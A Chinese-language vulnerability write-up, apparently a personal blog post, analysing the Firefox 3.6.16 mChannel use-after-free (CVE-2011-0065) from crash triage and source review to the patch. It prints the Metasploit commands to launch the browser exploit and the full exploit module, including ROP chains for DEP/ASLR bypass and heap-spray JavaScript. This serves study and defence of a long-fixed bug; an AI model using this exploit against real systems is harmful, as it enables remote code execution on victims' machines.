CVE-2011-0065 Investigation

7erry

Mozilla Firefox 和 SeaMonkey 中的 mChannel 存在释放后重引用漏洞,其利用可导致任意代码执行

影响范围:

Mozilla Firefox 1.0 - 3.5.18
Mozilla Firefox 3.6 - 3.6.16
Mozilla SeaMonkey 1.0 - 2.0.13

漏洞分析

开启 hpa 调试运行 Firefox.exe 并打开样本后触发 Access Violation 异常而崩溃。栈回溯发现崩溃时的主调函数基本都是 xul.dll 模块中的虚函数。崩溃时的指令位置是一片没什么意义的内存区域,因此先在调用栈的栈顶函数处下断点,到达后查看上下文指令后可根据 C++ 成员函数 this 指针调用约定推测出寄存器 eax 为对象地址,其首部指向了虚表并被赋值给了寄存器 ecx,即寄存器 ecx 存储的值为虚表基地址。崩溃的发生原因为虚表基指针指向了无意义的内存区域。

《漏洞战争》接下来的分析过程是,从 POC 中发现关键函数 onChannelRedirect,随后在 WinDBG 中搜索该函数,最终会得到不同类里大量的同名函数。在栈回溯结果中能够得到发生崩溃的函数所属的类,借此可以定位到函数 xul!nsObjectLoadingContent::onChannelRedirect。随后对其进行反汇编与静态代码分析。

不过 Firefox 是开源的,直接阅读其对应 源码 即可(反汇编结果很抽象)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// nsIChannelEventSink
NS_IMETHODIMP
nsObjectLoadingContent::OnChannelRedirect(nsIChannel *aOldChannel,
nsIChannel *aNewChannel,
PRUint32 aFlags)
{
// If we're already busy with a new load, cancel the redirect
if (aOldChannel != mChannel) {
return NS_BINDING_ABORTED;
}

if (mClassifier) {
mClassifier->OnRedirect(aOldChannel, aNewChannel);
}

mChannel = aNewChannel; // Vulnerability
return NS_OK;
}

onChannelRedirect 函数中,当 mChannel 对象未被分配时,将被临时赋予一个新对象值 aNewChannel。Firefox 采取的垃圾回收机制将会在函数调用完毕后回收不再使用的对象,因此函数实参(argument),局部变量 aNewChannel 将会在函数返回后被垃圾回收,换而言之就是在 Vulnerability 处赋值符号左边的变量 mChannel 的生命周期大于赋值符号右边的变量 aNewChannel,这将导致在函数调用结束后 mChannel 成为悬挂指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
nsresult
nsObjectLoadingContent::LoadObject(nsIURI* aURI,
PRBool aNotify,
const nsCString& aTypeHint,
PRBool aForceLoad)
{
...
// From here on, we will always change the content. This means that a
// possibly-loading channel should be aborted.
if (mChannel) {
LOG(("OBJLC [%p]: Cancelling existing load\n", this));

if (mClassifier) {
mClassifier->Cancel();
mClassifier = nsnull;
}

// These three statements are carefully ordered:
// - onStopRequest should get a channel whose status is the same as the
// status argument
// - onStopRequest must get a non-null channel
mChannel->Cancel(NS_BINDING_ABORTED); // USE AFTER FREE
if (mFinalListener) {
// NOTE: Since mFinalListener is only set in onStartRequest, which takes
// care of calling mFinalListener->OnStartRequest, mFinalListener is only
// non-null here if onStartRequest was already called.
mFinalListener->OnStopRequest(mChannel, nsnull, NS_BINDING_ABORTED);
mFinalListener = nsnull;
}
mChannel = nsnull;
}
...
return NS_OK;

}

随后,mChannel 将会在 xul!nsObjectLoadingContent::LoadObject 函数中被解引用,进而导致 UAF 漏洞。静态分析的结果可以被动态调试所证实,在 xul!nsObjectLoadingContent::LoadObject 函数处下断点后即可发现 UAF 处引用的对象与 xul!nsObjectLoadingContent::onChannelRedirect 一致,单步跟进后发现虚表指针被修改导致索引虚函数时出错并触发 Access Violation 异常程序崩溃

要是用 Rust 编写就不会出现这样的漏洞了,令人感慨

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2011-0065

搜索结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/osx/browser/mozilla_mchannel 2011-05-10 normal No Mozilla Firefox 3.6.16 mChannel Use-After-Free
1 exploit/windows/browser/mozilla_mchannel 2011-05-10 normal No Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability
2 \_ target: Automatic . . . .
3 \_ target: Firefox 3.6.16 on Windows XP SP3 . . . .
4 \_ target: Firefox 3.6.16 on Windows 7 + Java . . . .


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/browser/mozilla_mchannel
After interacting with a module you can manually set a TARGET with set TARGET 'Firefox 3.6.16 on Windows 7 + Java'

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/browser/mozilla_mchannel
msf6 exploit(windows/browser/mozilla_mchannel) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
       Name: Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability
Module: exploit/windows/browser/mozilla_mchannel
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2011-05-10

Provided by:
regenrecht
Rh0
mr_me <steventhomasseeley@gmail.com>

Available targets:
Id Name
-- ----
=> 0 Automatic
1 Firefox 3.6.16 on Windows XP SP3
2 Firefox 3.6.16 on Windows 7 + Java

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST ******* yes The local host or network interface to listen on. This must be an address on the local machine
or ******* to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1024

Description:
This module exploits a use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). This module uses heapspray
with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
a windows 7 target was provided using JAVA 6 and below to avoid aslr.

References:
https://nvd.nist.gov/vuln/detail/CVE-2011-0065
OSVDB (72085)
https://bugzilla.mozilla.org/show_bug.cgi?id=634986
http://www.mozilla.org/security/announce/2011/mfsa2011-13.html


View the full module info with the info -d command.

使用该模块生成木马

1
2
3
msf6 exploit(windows/browser/mozilla_mchannel) > set payload windows/exec
msf6 exploit(windows/browser/mozilla_mchannel) > set CMD calc.exe
msf6 exploit(windows/browser/mozilla_mchannel) > exploit

随后 MSF 将在本地启动 Web Server 并在攻击目标访问时为其恶意 HTML 文件以触发漏洞

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/browser/mozilla_mchannel.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::FF,
# :ua_minver => "3.6.16",
# :ua_maxver => "3.6.16",
# :os_name => OperatingSystems::Match::WINDOWS,
# :javascript => true,
# :rank => NormalRanking,
#})

def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability',
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'DefaultOptions' => {...},
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'win',
'Targets' =>
[

[ 'Automatic', { } ],

# DEP bypass
[
'Firefox 3.6.16 on Windows XP SP3',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x0c00,
'Fakefunc' => 0x0c00001c,
}
],

# requires JAVA <= JAVA 6 update 26
# cop stack pivot = ASLR/DEP bypass
[
'Firefox 3.6.16 on Windows 7 + Java',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x1000,
'Fakefunc' => 0x100002a4,
'Ppppr' => 0x7c3410c0,
'Retn' => 0x7c3410c4,
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2011-05-10'
))
end

def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end

def on_request_uri(cli, request)

# Random JavaScript variable names
js_element_name = rand_text_alpha(rand(10) + 5)
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
js_sc_name = rand_text_alpha(rand(10) + 5)
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
js_chunk_name = rand_text_alpha(rand(10) + 5)
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
js_block_name = rand_text_alpha(rand(10) + 5)
js_array_name = rand_text_alpha(rand(10) + 5)
js_retns = rand_text_alpha(rand(10) + 5)
js_applet_name = rand_text_alpha(rand(10) + 5)
js_ppppr = rand_text_alpha(rand(10) + 5)
js_filler = rand_text_alpha(rand(10) + 5)

agent = request.headers['User-Agent']

# Set target manually or automatically
my_target = target
if my_target.name == 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
my_target = targets[1]
elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
my_target = targets[2]
end
end

# check for non vulnerable targets
if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
print_error("Target not supported: #{agent}")
send_not_found(cli)
return
end

# Re-generate the payload
return if ((p = regenerate_payload(cli).encoded) == nil)

if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/

html_trigger = ""
if ("/" == get_resource[-1,1])
html_trigger = get_resource[0, get_resource.length - 1]
else
html_trigger = get_resource
end

custom_js = <<-JS
function forward() {
window.location = window.location + "#{html_trigger}.html";
}

function start() {
setTimeout("forward()", 3500);
}
start();
JS

else
if my_target.name =~ /Windows XP/

# DEP bypass using xul.dll
rop_gadgets = [
0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
junk, # junk --------------------------------------------------------------^^
0x7c801ad4, # VirtualProtect
junk, # junk -------------------------------------------------------------------------^^
junk, # junk -------------------------------------------------------------------------^^
0x1003876B, # jmp esp
0x0c000040, # start address
0x00000400, # size 1024
0x00000040, # Page EXECUTE_READ_WRITE
0x0c0c0c00, # old protection
].pack("V*")

rop = rop_gadgets

elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/

# 5 gadgets to pivot using call oriented programming (cop)
# these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
# 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
# 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
# 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN

rop_pivot = [
0x6D32280C, # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
junk, # filler
0x6D7E627D, # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
0x7C3413A4, # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
].pack("V*")

# 319

# rop nops - RETN
rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)

# POP r32 / RETN
rop_pivot << [0x7c3410c3].pack("V*")

# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
rop_pivot << [0x6D7E5CDA].pack("V*")

# rop nops - RETN
rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)

# POP r32 / RETN
rop_pivot << [0x7c3410c3].pack("V*")

# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
rop_pivot << [0x6D325BFC].pack("V*")

# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
rop_gadgets = [
0x7c346c0a, # POP EAX / RETN
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP / ... / POP ECX / POP EBP / RETN
junk, # EBP (filler)
0x7c346c0a, # POP EAX / RETN
0x7c37a140, # *&VirtualProtect()
0x7c3530ea, # MOV EAX,[EAX] / RETN
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
junk, # EDI (filler)
junk, # will be patched at runtime (VP), then picked up into ESI
junk, # EBX (filler)
0x7c376402, # POP EBP / RETN
0x7c345c30, # ptr to 'push esp / ret'
0x7c346c0a, # POP EAX / RETN
0xfffffdff, # size 0x00000201 -> ebx
0x7c351e05, # NEG EAX / RETN
0x7c354901, # POP EBX / RETN
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX / FPATAN / RETN
0x7c352174, # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
0x7c34d201, # POP ECX / RETN
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI / RETN
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX / RETN
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX / RETN
0x7c346c0a, # POP EAX / RETN
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD / ADD AL,0EF / RETN
0x90909090, # NOPS (-> eax)
].pack("V*")

rop = rop_pivot + rop_gadgets

end

payload_buf = ''
payload_buf << rop
payload_buf << p
escaped_payload = Rex::Text.to_unescape(payload_buf)

# setup the fake memory references
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

if my_target.name =~ /Windows XP/

# fast loading JS so we dont get the 'unresponsive script' warning from ff
custom_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");

var #{js_ret_addr_name} = unescape("#{fakefunc}");
while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
#{js_array_name} = new Array()
for (n=0;n<0x80;n++){
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
elsif my_target.name =~ /Windows 7/

# setup precision heap spray
ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))

# fast loading JS so we dont get the 'unresponsive script' warning from ff
# precision heap spray
custom_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");

var #{js_ret_addr_name} = unescape("#{fakefunc}");
var #{js_retns} = unescape("#{retns}");

#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};

var #{js_ppppr} = unescape("#{ppppr}");
#{js_ret_addr_name} += #{js_ppppr};

var #{js_filler} = unescape("%u4344%u4142");
while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}

while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}

var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);

#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_filler};
#{js_chunk_name} += #{js_ret_addr_name};

var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
#{js_array_name} = new Array()
for (n=0;n<0x80;n++){
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
end
end

html = <<-HTML
<html>
<body>
<object id="d"><object>
<applet code="#{js_applet_name}.class" width=0 height=0></applet>
<script type="text/javascript">
#{custom_js}
</script>
</body>
</html>
HTML

#Remove the extra tabs
html = html.gsub(/^ {4}/, '')
print_status("Sending HTML...")
send_response_html(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end
end

注意到 exp 创建了一个 Object,并调用了 onChannelRedirect 函数,其第二个参数为 new Object,这将使得 mChannel 变为悬挂指针。exp 随后申请了一块大小相同的内存对象以填充虚表指针。最后 exp 将 shellcode 堆喷射到了 UAF 时调用的虚函数位置,实现了任意代码执行

漏洞修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
--- a/content/base/src/nsObjectLoadingContent.cpp
+++ b/content/base/src/nsObjectLoadingContent.cpp
@@ -1010,18 +1010,19 @@ nsObjectLoadingContent::GetInterface(con
}

// nsIChannelEventSink
NS_IMETHODIMP
nsObjectLoadingContent::OnChannelRedirect(nsIChannel *aOldChannel,
nsIChannel *aNewChannel,
PRUint32 aFlags)
{
- // If we're already busy with a new load, cancel the redirect
- if (aOldChannel != mChannel) {
+ // If we're already busy with a new load, or have no load at all,
+ // cancel the redirect.
+ if (!mChannel || aOldChannel != mChannel) {
return NS_BINDING_ABORTED;
}

if (mClassifier) {
mClassifier->OnRedirect(aOldChannel, aNewChannel);
}

mChannel = aNewChannel;

补丁添加了对 mChannel 对象的判断,若对象已被释放则直接返回,不再引用

Reference

Vulnerable source code
Bugzilla - CVE-2011-0065
Github - CVE-2011-0065
NVD - CVE-2011-0065
CVE - CVE-2011-0065
漏洞战争

  • Título: CVE-2011-0065 Investigation
  • Autor: 7erry
  • Creado el : 2025-03-03 18:53:57
  • Actualizado el : 2025-03-03 18:53:57
  • Enlace: https://7erryx.github.io/2025/03/03/Vulnerability Investigation/CVE-2011-0065-Investigation/
  • Licencia: Este trabajo está licenciado bajo CC BY-NC-SA 4.0.
Comentarios
En esta página
CVE-2011-0065 Investigation